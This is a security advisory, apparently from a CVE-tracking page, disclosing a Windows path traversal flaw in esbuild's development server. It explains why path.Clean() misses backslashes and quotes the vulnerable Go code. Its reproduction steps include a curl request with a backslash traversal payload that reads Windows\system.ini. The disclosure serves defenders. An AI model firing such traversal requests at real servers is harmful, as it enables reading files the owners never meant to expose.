Vulnerability
esbuild allows arbitrary file read when running the development server on Windows
### Summary The development server contains a path traversal vulnerability on Windows when serving files from `servedir`. Due to the use of `path.Clean()` (which only normalizes forward-slash `/` separators) instead of a Windows-aware path normalization function, it is possible to craft requests using backslashes (`\`) that bypass the intended directory containment logic. An attacker can escape the configured `servedir` root and access arbitrary files on the filesystem. This issue affects Windows environments only. ### Details The request path is sanitized using: ```go // https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165 queryPath := path.Clean(req.URL.Path)[1:] ``` However: - `path.Clean()` is POSIX-style and only understands `/` (docs: `https://pkg.go.dev/path#Clean`) - On Windows, `\` is a valid path separator - `path.Clean()` does not treat `\` as a separator Later, the server constructs the absolute path: ```go // https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L221 absPath := h.fs.Join(h.servedir, queryPath) ``` If `queryPath` contains sequences such as: ``` ..\..\..\..\..\..\..\Windows\system.ini ``` `path.Clean()` will not normalize them, but the Windows filesystem will interpret `\` as directory separators when resolving `absPath`. Because the implementation does not verify that the final resolved path remains within `servedir`, it allows directory traversal outside the intended root directory. ### Vulnerable Code ```go // https://github.com/evanw/esbuild/blob/v0.27.3/pkg/api/serve_other.go#L165 queryPath := path.Clean(req.URL.Path)[1:] .... // Check for a file in the "servedir" directory if h.servedir != "" && kind != fs.FileEntry { absPath := h.fs.Join(h.servedir, queryPath) if absDir := h.fs.Dir(absPath); absDir != absPath { if entries, err, _ := h.fs.ReadDirectory(absDir); err == nil { if entry, _ := entries.Get(h.fs.Base(absPath)); entry != nil && entry.Kind(h.fs) == fs.FileEntry { .... ``` ### Steps to reproduce ``` npm install --save-exact --save-dev esbuild echo "console.log(1)" > app.js .\node_modules\.bin\esbuild --version 0.27.3 .\node_modules\.bin\esbuild app.js --bundle --outdir=www --servedir=www --watch curl -i --path-as-is "http://localhost:8000/..\..\..\..\..\..\..\Windows\system.ini" <content of Windows\system.ini> ``` ### Impact - Arbitrary file read on Windows - Exposure of sensitive files
No CVSS base score from NVD or GHSA yet. NVD typically scores within 24–72 hours of publication; GHSA usually within a day for OSS-flagged CVEs. Last record update .
For interim severity, fall back on KEV / EXPLOIT signals and the EPSS percentile (lower panel). Re-check this CVE after one cron tick — the score lands automatically when the source publishes.
FIRST.org publishes EPSS daily. Coverage isn't universal — pre-disclosure CVEs and reserved IDs don't carry an EPSS score until at least one exploitation signal lands. Score will appear within 24 hours of the next EPSS pull.
No exploitation, limited impact or prevalence